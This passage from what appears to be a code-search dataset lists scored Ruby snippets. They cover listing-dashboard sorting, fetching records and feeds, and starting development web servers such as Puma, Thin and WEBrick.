\"Highest Condo Fees\", div_link_id: \"condofee\", attr_label: \"Condo Fees: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.condo_fees}.reverse.take(3), \n attr: \"condo_fees_str\", client: nil, hidden: \"hide-div\"},\n {title: \"Lowest Condo Fees\", div_link_id: \"condofee\", attr_label: \"Condo Fees: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.condo_fees}.take(3), \n attr: \"condo_fees_str\", client: nil, hidden: \"\"}])\n end\n \n #Cash Flow…..Highest to lowest \n dash_set.concat([{title: \"Highest Cash Flow\", div_link_id: \"cashflow\", attr_label: \"Cash Flow: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.cash_flow(client)}.reverse.take(3), \n attr: \"cash_flow_str\", client: client, hidden: \"\"},\n {title: \"Lowest Cash Flow\", div_link_id: \"cashflow\", attr_label: \"Cash Flow: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.cash_flow(client)}.take(3), \n attr: \"cash_flow_str\", client: client, hidden: \"hide-div\"},\n #Total monthly expenses…..lowest to highest\n {title: \"Highest Monthly Expense\", div_link_id: \"monthly\", attr_label: \"Monthly Expense: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.total_monthly_cost(client)}.reverse.take(3), \n attr: \"total_monthly_cost_str\", client: client, hidden: \"hide-div\"},\n {title: \"Lowest Monthly Expense\", div_link_id: \"monthly\", attr_label: \"Monthly Expense: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.total_monthly_cost(client)}.take(3), \n attr: \"total_monthly_cost_str\", client: client, hidden: \"\"}])\n \n if showings.select {|s| s.listing.rent_amount > 0 }.size > 0\n #Rent amount estimate…..Highest to lowest\n dash_set.concat([{title: \"Highest Rent Estimate\", div_link_id: \"rent\", attr_label: \"Rent Estimate: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.rent_amount}.reverse.take(3), \n attr: \"rent_amount_str\", client: nil, hidden: \"\"},\n {title: \"Lowest Rent Estimate\", div_link_id: \"rent\", attr_label: \"Rent Estimate: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.rent_amount}.take(3), \n attr: \"rent_amount_str\", client: nil, hidden: \"hide-div\"}])\n end\n \n #Year built…….Newest to oldest \n dash_set.concat([{title: \"Newest Build Year\", div_link_id: \"year\", attr_label: \"Build Year: \",\n link_name: \"Oldest\", showings: showings.sort_by {|l| l.listing.year_built || 1900}.reverse.take(3), \n attr: \"year_built_str\", client: nil, hidden: \"\"},\n {title: \"Oldest Build Year\", div_link_id: \"year\", attr_label: \"Build Year: \",\n link_name: \"Newest\", showings: showings.sort_by {|l| l.listing.year_built || 1900}.take(3), \n attr: \"year_built_str\", client: nil, hidden: \"hide-div\"},\n #Property taxes…..lowest to highest\n {title: \"Highest Property Taxes\", div_link_id: \"taxes\", attr_label: \"Property Taxes: \",\n link_name: \"Lowest\", showings: showings.sort_by {|l| l.listing.property_tax}.reverse.take(3), \n attr: \"property_tax_str\", client: nil, hidden: \"hide-div\"},\n {title: \"Lowest Property Taxes\", div_link_id: \"taxes\", attr_label: \"Property Taxes: \",\n link_name: \"Highest\", showings: showings.sort_by {|l| l.listing.property_tax}.take(3), \n attr: \"property_tax_str\", client: nil, hidden: \"\"}])\n \n favourite_showings = showings.select {|s| s.thumbup }\n if favourite_showings.size > 0 \n dash_set.prepend({title: \"Favourite Showings\", div_link_id: \"favourite\", attr_label: \"Asking Price: \",\n link_name: \"\", showings: showings.select {|s| s.thumbup }.sort_by {|s| s.date}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"})\n end\n dash_set\n end", "title": "" }, { "docid": "c34ba572e4c0a9f3b298159be6bcc51d", "score": "0.51774526", "text": "def need_to_fetch?\n @need_to_fetch = true if @need_to_fetch.nil?\n @need_to_fetch\n end", "title": "" }, { "docid": "0c3d3acf0d3a0333f7f04f27d03bd866", "score": "0.51758677", "text": "def promise_all\n _class_fetch_states[:all] = 'i'\n _promise_get(\"#{resource_base_uri}.json?timestamp=#{`Date.now() + Math.random()`}\").then do |response|\n collection = _convert_array_to_collection(response.json[self.to_s.underscore.pluralize])\n _class_fetch_states[:all] = 'f'\n _notify_class_observers\n warn_message = \"#{self.to_s}.all has been called. This may potentially load a lot of data and cause memory and performance problems.\"\n `console.warn(warn_message)`\n collection\n end.fail do |response|\n error_message = \"#{self.to_s}.all failed to fetch records!\"\n `console.error(error_message)`\n response\n end\n end", "title": "" }, { "docid": "e70694980426cddd42272f6291ebc5e3", "score": "0.5175435", "text": "def fetch_all_with_url(url, options = {}, &block)\n use_callback = block_given?\n App.delegate.api_client.get(url) do |response, status_code|\n if response.present?\n records = fetch_all_with_attributes(response, save_associations: options[:save], &block)\n else\n records = []\n end\n block.call(records, status_code, response) if use_callback\n end\n end", "title": "" }, { "docid": "6433f0540c35dccfcf839d2e1aa8a691", "score": "0.5169226", "text": "def fetch\n @recordings.map do |uri, path|\n STDERR.puts(\"# Fetching #{uri} to #{path}\")\n fetch = Mixlib::ShellOut.new(\n \"curl --continue-at - --output #{path} #{uri}\",\n live_stream: STDERR\n )\n fetch.run_command\n {\n path: path,\n result: fetch.exitstatus,\n uri: uri\n }\n end\n end", "title": "" }, { "docid": "2974f2e209fc6c08660c35a0b659effa", "score": "0.51647496", "text": "def fetch_articles\n current_feed = get_rss_feed( self.url )\n current_feed.entries.each do |article|\n unless self.array_of_article_urls.include?(article.url)\n a = Article.new(title: article.title, url: article.url, clicks: 0)\n a.title ||= article.summary\n self.articles.push a \n end\n end\n\tend", "title": "" }, { "docid": "f275de76921f2911aa8eeb10cc214b7e", "score": "0.5164343", "text": "def should_fetch?\n last_fetched_at.nil? or !fetched_directly? or facebook_api_error.present?\n end", "title": "" }, { "docid": "789be1cd0aa857a899c563d45f93df0d", "score": "0.51555276", "text": "def fetch_results!\n raise NoTargets if targets.empty?\n\n targets.uniq!\n\n puts 'searching the AUR...'\n results = Rpc.new(:multiinfo, *targets).call\n\n # we need the results in the order of our targets (so dependencies\n # are installed first). unfortunately, the rpc returns results\n # alphabetically. assumption is the reordering done here is\n # cheaper than making per-target rpc calls.\n targets.each do |target|\n if result = results.detect {|r| r.name == target}\n @results << result\n else\n raise NoResults.new(target)\n end\n end\n end", "title": "" }, { "docid": "c84afd18248a1b2e3b27c7c02923188e", "score": "0.51539", "text": "def fetch\n @raw_result = opts_for_cache_proxy[:raw] == true\n\n result = if refresh_cache?\n execute_find(@raw_result)\n elsif cached.is_a?(AridCache::CacheProxy::Result)\n if cached.has_ids? && @raw_result\n self.cached # return it unmodified\n elsif cached.has_ids?\n fetch_from_cache # return a list of active records after applying options\n else # true if we have only calculated the count thus far\n execute_find(@raw_result)\n end\n else\n cached # some base type, return it unmodified\n end\n end", "title": "" }, { "docid": "9348cd1195b9f6b50e36f40247a4d752", "score": "0.51532197", "text": "def fill_recent_loved_listing_ids\n recent_listing_ids.clear\n Listing.liked_by_ids(self, per: self.class.recent_listing_queue_size).each do |id|\n recent_listing_ids << id\n end\n recent_listing_ids.values\n end", "title": "" }, { "docid": "caf6af73ff4dd8bd842c5cafb86c9a14", "score": "0.515192", "text": "def fetch_tasks\n tasks = BgTask.all\n tasks = load_tasks if tasks.nil? || tasks.empty?\n tasks\n end", "title": "" }, { "docid": "0c305355b790bc349d350552e33da234", "score": "0.51406693", "text": "def fetch_more\n $limit += 5\n $offset_counter = ($offset_counter >= 5? $offset_counter - 5: 0)\n @room_messages = (@room.room_messages.includes(:user).order(:id).limit($limit).offset($offset_counter)).to_a.reverse()\n end", "title": "" }, { "docid": "bf83a871eea413f53f8af7e2129d2a76", "score": "0.5125449", "text": "def results\n fetch unless @results\n @results\n end", "title": "" }, { "docid": "55d86ce65a64ed08cfb61c506a8ec8ef", "score": "0.51206154", "text": "def fetch_all(initial_url, item_key, opts = {})\n params = query_params(opts)\n url = initial_url + params\n\n unless opts[:page]\n next_page = url\n results = []\n\n loop do\n curr_page = JSON.parse(self[next_page].get)\n results += curr_page[item_key]\n break unless curr_page['next']\n next_page = curr_page['next'] + params\n end\n\n results\n else\n JSON.parse(self[url].get)[item_key]\n end\n end", "title": "" } ]
0b0b1ca21b0b5dff73f52a5f2b009c97
starts the server in the development mode
[ { "docid": "58f670777d6ae01a671893ef0af2a98c", "score": "0.73408395", "text": "def devel_mode()\n\tputs \"Development Mode\\n\"\n\tsystem(\"cd ./src; rackup -E development -p 8080 -s Puma\")\nend", "title": "" } ]
[ { "docid": "0fda1be95ac5f6e86f0e9538b50e013e", "score": "0.7468701", "text": "def start!(env=:production)\n environment(env).start!\n end", "title": "" }, { "docid": "a731cdbd35a5022d996833fa12e6af15", "score": "0.7418931", "text": "def development!\n @production = false\n end", "title": "" }, { "docid": "69656753aeba45db301e9bb980741cfb", "score": "0.72497535", "text": "def start!(env=:production)\n invoke [:start], env\n end", "title": "" }, { "docid": "8fe320a11fcbc80df1e3e5697fd883a4", "score": "0.6943836", "text": "def development\n environment(:development)\n end", "title": "" }, { "docid": "8fe320a11fcbc80df1e3e5697fd883a4", "score": "0.6943836", "text": "def development\n environment(:development)\n end", "title": "" }, { "docid": "fb0b244ef58db7fb114653b92fe71b69", "score": "0.6885013", "text": "def start\n\t\t\t@running = true\n\t\t\tstart_server\n\t\t\t\n\t\t\t@running = false\n\t\t\t@stopping = false\n\t\tend", "title": "" }, { "docid": "fc3cd94a51bcfeabc30c564386d4da4e", "score": "0.6839068", "text": "def run\n check_for_web_build\n build_development\n listener = Listen.to(File.join(absolute_path, 'web')) do |_mod, _add, _rem|\n build_development\n end\n listener.start\n # @todo Get the public folder from a config?\n Gamefic::Sdk::Server.run! source_dir: absolute_path, public_folder: File.join(absolute_path, 'builds', 'web', 'development')\n end", "title": "" }, { "docid": "a304be0168d519600b89d2e4f698d868", "score": "0.67921114", "text": "def start\n @server.start\n end", "title": "" }, { "docid": "21f0b4b83e30c30f50424c0fee3f7e6a", "score": "0.67322636", "text": "def start\n server.start\n end", "title": "" }, { "docid": "95fe742342d3b9e34ae2c13004e4a158", "score": "0.6729059", "text": "def start\n Thin::Logging.silent = settings.quiet\n\n puts \">>> Serving #{settings.dir}\"\n\n server.daemonize if settings.daemonize\n server.start\n end", "title": "" }, { "docid": "9d16512d7d649051aa3e82ead4f791bc", "score": "0.66994065", "text": "def with_dev_server\n\n old_env = ENV['NODE_ENV']\n ENV['NODE_ENV'] = 'development'\n\n # Start the server in a forked process:\n Dir.chdir(\"test/#{DUMMY_LOCATION}\") do\n spawn 'RAILS_ENV=development ./bin/webpack-dev-server '\n end\n\n stop_time = Time.now + 30.seconds\n detected_dev_server = false\n loop do\n detected_dev_server = dev_server_running?\n break if detected_dev_server || Time.now > stop_time\n sleep 0.5\n end\n\n # If we didn't hook up with a dev server after waiting, fail loudly.\n raise 'Failed to start dev server' unless detected_dev_server\n puts 'Detected dev server - Continuing'\n\n # Call the test block:\n yield\n\n ensure\n check_cmd = 'lsof -i :8080 -S'\n 10.times do\n # puts check_cmd\n status = `#{check_cmd}`\n # puts status\n remaining_pid_match = status.match(/\\n[a-z]+\\s+(\\d+)/)\n if remaining_pid_match\n remaining_pid = remaining_pid_match[1]\n # puts \"Remaining #{remaining_pid}\"\n kill_cmd = \"kill -9 #{remaining_pid}\"\n # puts kill_cmd\n `#{kill_cmd}`\n sleep 0.5\n else\n break\n end\n end\n\n # Remove the dev-server packs:\n WebpackerHelpers.clear_webpacker_packs\n ENV['NODE_ENV'] = old_env\n puts \"Killed.\"\n end", "title": "" }, { "docid": "ab38b9a7e1486f09c5a33df12a77f05b", "score": "0.662684", "text": "def launchWebServer()\n webserverCmd =\n \"gulp serve --host #{HOST} --port #{PORT} #{ENV['WEBSERVER_QUIET']}\"\n spawn(webserverCmd)\nend", "title": "" }, { "docid": "00d20f932cae656cd546a3758519a87d", "score": "0.66244096", "text": "def serve\n @server.start\n end", "title": "" }, { "docid": "af067245b56f1f0043f1b141f032b85f", "score": "0.65755516", "text": "def start\n unless @build_config.skip?(:start)\n @env.start\n end\n end", "title": "" }, { "docid": "2e41edea2cba99268a906f1fdc451c2f", "score": "0.65389687", "text": "def start!\n Thread.start { @server.start }\n end", "title": "" }, { "docid": "4e546e2c15de285fe8b21ea2ace6c123", "score": "0.6525666", "text": "def start\n raise ArgumentError, 'app required' unless @app\n \n log_info \"Thin web server (v#{VERSION::STRING} codename #{VERSION::CODENAME})\"\n log_debug \"Debugging ON\"\n trace \"Tracing ON\"\n \n log_info \"Maximum connections set to #{@backend.maximum_connections}\"\n log_info \"Listening on #{@backend}, CTRL+C to stop\"\n\n @backend.start { setup_signals if @setup_signals }\n end", "title": "" }, { "docid": "afecfab41fd8144568ac0338f93be90f", "score": "0.6513622", "text": "def start!\n unless @server.running?\n @server.start_background\n Chef::Config[:chef_server_url] = @server.url\n end\n end", "title": "" }, { "docid": "afecfab41fd8144568ac0338f93be90f", "score": "0.6513622", "text": "def start!\n unless @server.running?\n @server.start_background\n Chef::Config[:chef_server_url] = @server.url\n end\n end", "title": "" }, { "docid": "4fad5f6270a11d19d3911533864445c6", "score": "0.6512378", "text": "def launch_server\n unless File.directory? config.path\n STDERR.puts \"Invalid path (#{config.path})\" \n return\n end\n\n show_status\n Server.prepare\n Server.run!\n end", "title": "" }, { "docid": "4fad5f6270a11d19d3911533864445c6", "score": "0.6512378", "text": "def launch_server\n unless File.directory? config.path\n STDERR.puts \"Invalid path (#{config.path})\" \n return\n end\n\n show_status\n Server.prepare\n Server.run!\n end", "title": "" }, { "docid": "3645a4e861b27ff07140740795a0cd8e", "score": "0.65082175", "text": "def start_server\n within_test_app do\n command = if Gem::Version.new(Rails::VERSION::STRING) < Gem::Version.new('4.1.0')\n \"bundle exec rails s -p #{FocusedController::Test.port} 2>&1\"\n else\n \"./bin/rails s -p #{FocusedController::Test.port} 2>&1\"\n end\n\n IO.popen(command) do |out|\n start = Time.now\n started = false\n output = \"\"\n timeout = 60.0\n\n while !started && !out.eof? && Time.now - start <= timeout\n output << read_output(out)\n sleep 0.1\n\n begin\n TCPSocket.new('127.0.0.1', FocusedController::Test.port)\n rescue Errno::ECONNREFUSED\n else\n started = true\n end\n end\n\n raise \"Server failed to start:\\n#{output}\" unless started\n\n yield\n\n Process.kill('QUIT', File.read(\"tmp/pids/server.pid\").to_i)\n end\n end\n end", "title": "" }, { "docid": "4e66d9ec986aa900b911080c4011051b", "score": "0.649381", "text": "def server(options={})\n options[:port] ||= 3000\n @threads << Thread.new { system \"#{Cyborg.rails_path('bin/rails')} server -p #{options[:port]}\" }\n watch(options) if options[:watch]\n end", "title": "" }, { "docid": "3f3541ad84e751e947df5c22e152f648", "score": "0.649091", "text": "def development?\n config.mode == :development\n end", "title": "" }, { "docid": "1e1dd2b1a132c29aae4d09a7e6302af8", "score": "0.6482549", "text": "def development? ; options.env == :development ; end", "title": "" }, { "docid": "32ab4b04fcce77ff76a8e982f0cea4d1", "score": "0.6470339", "text": "def development?\n true\nend", "title": "" }, { "docid": "33acaf3ab7c9250a56cc5bfe0631751a", "score": "0.6430395", "text": "def start\n return if self.pid\n\n cmd = [\n gem_env(),\n Conf.ruby_command,\n script_path,\n \"--port\", self.port.to_s,\n \"--data-dir\", data_dir,\n ].join(\" \")\n\n Ramaze::Log.info \"starting app: #{cmd}\"\n\n self.pid = Servant.watch(cmd){\n stopped\n }\n self.save\n end", "title": "" }, { "docid": "4458b50a7132ce51d0d806257f61bdbb", "score": "0.6420173", "text": "def start\n Rack::Handler::Thin.run(app, :Port => 3000)\n end", "title": "" }, { "docid": "9f95bbbe7b5479a1009c8eb4a8094808", "score": "0.6393724", "text": "def start\n before_start\n configuration_valid?\n run_the_application\n end", "title": "" }, { "docid": "4aebf3339678c1297826b5d28af5c71b", "score": "0.63671726", "text": "def development_mode!\n self.extend(Tnt::TntDevelopment)\n end", "title": "" }, { "docid": "57dc761ae6a85c2a513fc1bad1c89f4f", "score": "0.6362881", "text": "def start\n ::Guard::UI.info 'Guard::Alfred is serving'\n run_all if @options[:all_on_start]\n end", "title": "" }, { "docid": "2cd9972d1614b07007854d3a309d67f8", "score": "0.63615584", "text": "def start\n super\n #...\n log.debug \"start called...\"\n @server.run\n log.debug \"start called (done)...\"\n end", "title": "" }, { "docid": "b07a25307f1a0ab683776c2ae43f6915", "score": "0.63597125", "text": "def setup!\n @server.start_background unless @server.running?\n end", "title": "" }, { "docid": "14a164f4fff024527baf45b786bb035c", "score": "0.63585347", "text": "def mode; @mode ||= :development end", "title": "" }, { "docid": "37bfde58c6852ac2410d5e7eeac66780", "score": "0.6357189", "text": "def start\n synchronize do\n unless running?\n # Puma >= 6.0 interprets these settings from options\n options = {\n min_threads: @config.min_threads,\n max_threads: @config.max_threads,\n environment: @config.show_error_details? ? \"development\" : \"production\"\n }\n # Puma::Events.stdio for Puma < 6.0; otherwise nil for Puma >= 6.0\n events = ::Puma::Events.stdio if ::Puma::Events.respond_to? :stdio\n @server = ::Puma::Server.new @app, events, options\n if @server.respond_to? :min_threads=\n # Puma < 6.0 sets server attributes for these settings\n @server.min_threads = @config.min_threads\n @server.max_threads = @config.max_threads\n @server.leak_stack_on_error = @config.show_error_details?\n end\n @server.binder.add_tcp_listener @config.bind_addr, @config.port\n @config.logger.info \"FunctionsFramework: Serving function #{@function.name.inspect} \" \\\n \"on port #{@config.port}...\"\n @server.run true\n end\n end\n self\n end", "title": "" }, { "docid": "0c9741f4835f5ef9b20e18c043b24ab6", "score": "0.6346293", "text": "def start\n run_server\n accept_clients\n end", "title": "" }, { "docid": "bbff754e6e38cded54890254fbbb0176", "score": "0.63367516", "text": "def start\n begin\n @http_server.start # starts the web server\n rescue RuntimeError => e\n if e.message =~ /no acceptor/ # the port is in use\n print_error \"Another process is already listening on port #{@configuration.get('beef.http.port')}.\"\n print_error \"Is BeEF already running? Exiting...\"\n exit 127\n else\n raise\n end\n end\n end", "title": "" }, { "docid": "6370b00be471be80322c81971374829c", "score": "0.6336156", "text": "def start_web_server\n options = configuration.web_options.dup\n host = options.delete(:host)\n port = options.delete(:port)\n\n Thin::Logging.silent = true\n Thin::Server.new(host, port, Application).tap do |server|\n options.each do |key, value|\n server.__send__(\"#{key}=\", value)\n end\n\n server.start!\n end\n end", "title": "" }, { "docid": "a96e6055b54402ec0de5b213ceaaa178", "score": "0.63261056", "text": "def start\n run if @options[:all_on_start]\n end", "title": "" }, { "docid": "35091f3f68ad994bb857db11af166c35", "score": "0.6318388", "text": "def start\n status 'Starting ...'\n\n project.start!(options[:environment])\n\n status 'Started'\n end", "title": "" }, { "docid": "d4aaf592c0a9f9b07fed7c868c470715", "score": "0.6316316", "text": "def development?\n environment?(:development)\n end", "title": "" }, { "docid": "5740f34d0f9ea0e50064fa19391a72c5", "score": "0.6305129", "text": "def launchWebServer()\n webserverCmd =\n \"gulp serve --host #{HOST} --port #{PORT} #{ENV['WEBSERVER_QUIET']}\"\n spawn(webserverCmd, :out=>OUT)\nend", "title": "" }, { "docid": "b6c82946f7ee048602db837f6cdc2ae9", "score": "0.63021106", "text": "def RAILS_ENV=development", "title": "" }, { "docid": "b3a0c3f690f35fef5326ce8177b6434a", "score": "0.62862015", "text": "def start_server(options={})\n require \"webrick\"\n \n opts = {\n :Port => options[:port] || 4567,\n :Host => options[:host] || \"0.0.0.0\",\n :AccessLog => []\n }\n \n opts[:Logger] = WEBrick::Log::new(\"/dev/null\", 7) if !options[:logging]\n \n app_class = options[:app] ||= ::Middleman.server.inst\n opts[:app] = app_class\n \n # Disable for Beta 1. See if people notice.\n # require \"thin\"\n # ::Thin::Logging.silent = !options[:logging]\n # opts[:server] = 'thin'\n opts[:server] = 'webrick'\n \n server = ::Rack::Server.new(opts)\n server.start\n server\n end", "title": "" }, { "docid": "3e806608fdc2317ac01694c9363a5794", "score": "0.6273641", "text": "def start\n @running = true\n end", "title": "" }, { "docid": "c2c53191a9968c8b3ae5ed4eb8942bbe", "score": "0.6267117", "text": "def start\n #ensure_shomen_site\n\n# # create required tmp directories if not found\n# %w(cache pids sessions sockets).each do |dir_to_make|\n# FileUtils.mkdir_p(File.join(tmp_dir, dir_to_make))\n# end\n\n server = ::Rack::Server.start(options)\n\n trap(\"INT\") do\n server.stop\n exit\n end\n end", "title": "" }, { "docid": "190df6e8073f8fadf65114f40ce31f3c", "score": "0.62637717", "text": "def start_server\n function = load_function\n ::FunctionsFramework.logger.info \"FunctionsFramework: Starting server...\"\n ::FunctionsFramework.start function do |config|\n config.rack_env = @env\n config.port = @port\n config.bind_addr = @bind\n config.show_error_details = @detailed_errors\n config.min_threads = @min_threads\n config.max_threads = @max_threads\n end\n end", "title": "" }, { "docid": "4880a7b99f831a6921e3f2dd7480894a", "score": "0.62636185", "text": "def development?\n @environment == :development\n end", "title": "" }, { "docid": "ba7031815c1e86fb0197ab2563341828", "score": "0.62519354", "text": "def serve\n server = WEBrick::HTTPServer.new :Port => @port || 4000, :DocumentRoot => 'site/application.html'\n trap('INT') { server.shutdown }\n server.start\n end", "title": "" }, { "docid": "2e60d7b3bae5dc6916529051daa7625e", "score": "0.6244353", "text": "def dev?; Rails.env.development?; end", "title": "" }, { "docid": "31b802ea2042efeef5dca44fa51fef27", "score": "0.6220564", "text": "def start\n myself, env = self, @environment\n rack_server = ::Rack::Handler::default\n rack_app = ::Rack::Builder.new{ run DbAgile::Restful::Middleware.new(env) }\n thread = Thread.new(rack_server, rack_app, options.dup){|s,a,o| \n s.run(a, o){|server| @server = server}\n }\n \n # Wait until the server is loaded\n try, ok, res = 0, false, nil\n begin\n res = Net::HTTP.get(uri)\n ok = true\n rescue Errno::ECONNREFUSED => ex\n sleep 0.3\n end until (ok or (try += 1)>10)\n raise \"Unable to connect to server\" if try >= 10\n \n @environment.say(\"Have a look at #{uri}\")\n thread\n end", "title": "" }, { "docid": "68f2b1323bca13e832b1b5078028b0ee", "score": "0.6210773", "text": "def start\n Rack::Server.start :app => @server, :Port => @port, :Host => @host\n end", "title": "" }, { "docid": "b8fcf5fbb5ca3c822d98ac6ee6d74f1b", "score": "0.6208313", "text": "def start\n trap(\"INT\") { @server.shutdown }\n @server.start\n end", "title": "" }, { "docid": "0732d269bcdcd3c06ec3b569b14b6037", "score": "0.6203533", "text": "def start\n swiftinit_run('start', true)\n end", "title": "" }, { "docid": "3ed54eba8963064dd6be15df3fdba1a6", "score": "0.6196824", "text": "def run\n print_status( 'Starting the server...' )\n # start the show!\n @server.run\n end", "title": "" }, { "docid": "033d236da8f05d1280a9295e8c84e5b2", "score": "0.6192112", "text": "def do_start()\n # Check syntax\n MIDB::Interface::Errors.die(:syntax) if @args.length < 2\n MMIDB::Interface::Errors.die(:syntax) if @args[1].split(\":\")[0] != \"db\"\n # Is the server already started?\n MIDB::Interface::Errors.die(:server_already_started) if @config[\"status\"] == :running\n # Are any files being served?\n MIDB::Interface::Errors.die(:no_serves) if @config[\"serves\"].length == 0\n # If it successfully starts, change our status and notify thru view\n @args.each do |arg|\n if arg.split(\":\")[0] == \"db\"\n @db = arg.split(\":\")[1]\n elsif arg.split(\":\")[0] == \"port\"\n @port = arg.split(\":\")[1]\n end\n end\n\n # Call the server engine and supply the (non)existing hooks\n eng = MIDB::API::Engine.new(@db, @http_status, @config, @hooks)\n if eng.start(@port)\n @config[\"status\"] = :running\n MIDB::Interface::Server.success()\n else\n MIDB::Interface::Errors.die(:server_error)\n end\n end", "title": "" }, { "docid": "7ad2c85b4c91b85443e3a42ac23b9e91", "score": "0.61920965", "text": "def start\n listen\n\n while @stay_alive\n UI.important(\"stay_alive is set to true, restarting server\")\n listen\n end\n end", "title": "" }, { "docid": "94a41923c0b750d77cf2103a798e62e8", "score": "0.6182232", "text": "def start_server(options={})\n opts = {\n :Port => options[:port] || 4567,\n :Host => options[:host] || \"0.0.0.0\",\n :AccessLog => []\n }\n \n app_class = options[:app] ||= ::Middleman.server.inst\n opts[:app] = app_class\n opts[:server] = 'thin'\n \n # require \"thin\"\n # ::Thin::Logging.silent = true if options[:debug] != \"true\"\n\n server = ::Rack::Server.new(opts)\n server.start\n server\n end", "title": "" }, { "docid": "a37071b482ba02299741059eeb04042f", "score": "0.6180974", "text": "def start!\n @application.run_before_environment_callback!\n @global_commands = @application.construct_commands\n run!(@global_commands)\n initialize_watchr!\n end", "title": "" }, { "docid": "991e1f4cae66351b32fed4ed1d29c752", "score": "0.61794794", "text": "def start\n\t\t\t\n\t\t\t# add a screen log message, which is kind of\n\t\t\t# a lie, because we haven't started anything yet\n\t\t\turi = \"http://localhost:#{@port}/\"\n\t\t\tlog [\"Started HTTP Offline Backend\", \"URI: #{uri}\"], :init\n\t\t\t\n\t\t\t# this is goodbye\n\t\t\tRack::Handler::Mongrel.run(\n\t\t\t\t@app, :Port=>@port)\n\t\tend", "title": "" }, { "docid": "6d4155a232f07bbccefe73c4817938d0", "score": "0.6169855", "text": "def development?\n environment == :development\n end", "title": "" }, { "docid": "56b64216c442dad0e59ffa659b3390ff", "score": "0.6156191", "text": "def start\n true\n end", "title": "" }, { "docid": "56b64216c442dad0e59ffa659b3390ff", "score": "0.6156191", "text": "def start\n true\n end", "title": "" }, { "docid": "56b64216c442dad0e59ffa659b3390ff", "score": "0.6156191", "text": "def start\n true\n end", "title": "" }, { "docid": "56b64216c442dad0e59ffa659b3390ff", "score": "0.6156191", "text": "def start\n true\n end", "title": "" }, { "docid": "56b64216c442dad0e59ffa659b3390ff", "score": "0.6156191", "text": "def start\n true\n end", "title": "" }, { "docid": "941b34b4bc4ca4f344df6fb8d5faf9ef", "score": "0.6152834", "text": "def development?\n @env == :development\n end", "title": "" }, { "docid": "a9f184fe0eeb70b6c2172d10c0a72814", "score": "0.61454254", "text": "def start\n configure_log!\n client_configuration!\n client_application!\n client_initialize!\n\n Vedeu::Launcher.execute!(argv)\n end", "title": "" }, { "docid": "34938e74055e3ec201f98650f677a17c", "score": "0.61398244", "text": "def development?; environment == :development; end", "title": "" }, { "docid": "34938e74055e3ec201f98650f677a17c", "score": "0.61398244", "text": "def development?; environment == :development; end", "title": "" }, { "docid": "8528fe04f52e84b529cee574f645de56", "score": "0.61295533", "text": "def setup_server\n opts = { :Port => 8808, :DocumentRoot => @source_path }\n unless $DEBUG\n require 'logger'\n opts[:Logger] = Logger.new('/dev/null')\n opts[:AccessLog] = Logger.new('/dev/null')\n end\n @server = WEBrick::HTTPServer.new opts\n @server_thread = Thread.new { @server.start }\n @server_thread.join(0.1) # pickup early errors and give it time to start\n end", "title": "" }, { "docid": "dc181628a7fe33ccb550cca77317e281", "score": "0.61279863", "text": "def preview(options={})\n #build_dir = options[:build_dir] || settings.build_dir\n #system \"thin start -A file -c #{build_dir}\"\n Server.run(options)\n end", "title": "" }, { "docid": "93bd7f67e770124d15ce8f940a5fc27d", "score": "0.61275357", "text": "def start\n begin\n puts \"** Starting #{@app_name}\"\n Rack::Handler::Mongrel.run(@rack_app, :Host => @addr, :Port => @port) do |server|\n puts \"** #{@app_name} is now running at http://#{@addr}:#{@port}/\"\n trap(:INT) do\n server.stop\n puts \"\\n** Stopping #{@app_name}\"\n end\n end\n rescue Errno::EADDRINUSE => e\n puts \"** Port #{@port} is already in use\"\n end\n end", "title": "" }, { "docid": "7fbcde05a162b0baff7998191eb0376a", "score": "0.61264575", "text": "def development?\n !system? && !testing?\n end", "title": "" }, { "docid": "e990f21dc10715c18fd6956e1da0741b", "score": "0.6125139", "text": "def dev?; ENV['RAILS_ENV'] == 'development'; end", "title": "" }, { "docid": "9b2636730d8317579eb42c8e13aacb51", "score": "0.6125099", "text": "def the_server_start(port)\n the_server = WEBrick::HTTPServer.new(Port: port,\n Logger: WEBrick::Log.new(File.open(File::NULL, 'w')),\n AccessLog: WEBrick::Log.new(File.open(File::NULL, 'w')))\n the_server.mount \"/dialog\", DialogServlet\n the_server.mount \"/welcome\", WelcomeServlet\n the_server.mount_proc('/q') {|req, resp| the_server.shutdown; exit;}\n the_server.start\n end", "title": "" }, { "docid": "2b38c28f9a9c16041d16e1afce2ee5fa", "score": "0.6122702", "text": "def start\n @downloader = Downloader.download(version: version, path: working_dir)\n start_cluster\n apply_development_template! if persistent\n end", "title": "" }, { "docid": "316faf6f65c037689d22a330afe89132", "score": "0.6118493", "text": "def start\n #Start the appserver.\n self.log_puts \"Spawning appserver.\" if @debug\n @httpserv = Hayabusa::Http_server.new(self)\n @httpserv.start\n\n\n self.log_puts \"Starting appserver.\" if @debug\n Thread.current[:hayabusa] = {:hb => self} if !Thread.current[:hayabusa]\n\n if @config[:autoload]\n self.log_puts \"Autoloading #{@config[:autoload]}\" if @debug\n require @config[:autoload]\n end\n\n self.log_puts \"Appserver startet.\" if @debug\n end", "title": "" }, { "docid": "3879fc8c94677622204e62f78cacb742", "score": "0.61123437", "text": "def start\n boot\n end", "title": "" }, { "docid": "dc22ef5fcdd760f9ef9cef19c1b2f18b", "score": "0.6106334", "text": "def start\n Lux.config.lux_config_loaded = true\n\n Config.start!\n end", "title": "" }, { "docid": "a7619fc42bfaf339727e0e86414c2304", "score": "0.6104108", "text": "def server(options={})\n options[:port] ||= 3000\n @threads << Thread.new { system \"#{SparkEngine.rails_path('bin/rails')} server -p #{options[:port]}\" }\n watch(options) if options[:watch]\n end", "title": "" }, { "docid": "f3a6dcd2893d67afc8228bbdb839a8ff", "score": "0.6094049", "text": "def start! options=nil\n with_server_apps options,\n :msg => \"Running start script\",\n :send => [:start!, options]\n end", "title": "" }, { "docid": "11efeedb53421df4fa1a38e4c27da7be", "score": "0.60871685", "text": "def before_create\n start_thread { start_webserver }\n start_thread { start_regserver }\n end", "title": "" }, { "docid": "89f3a22cc984463018a3b27a53714eb3", "score": "0.6082625", "text": "def start_webrick\n cmd = 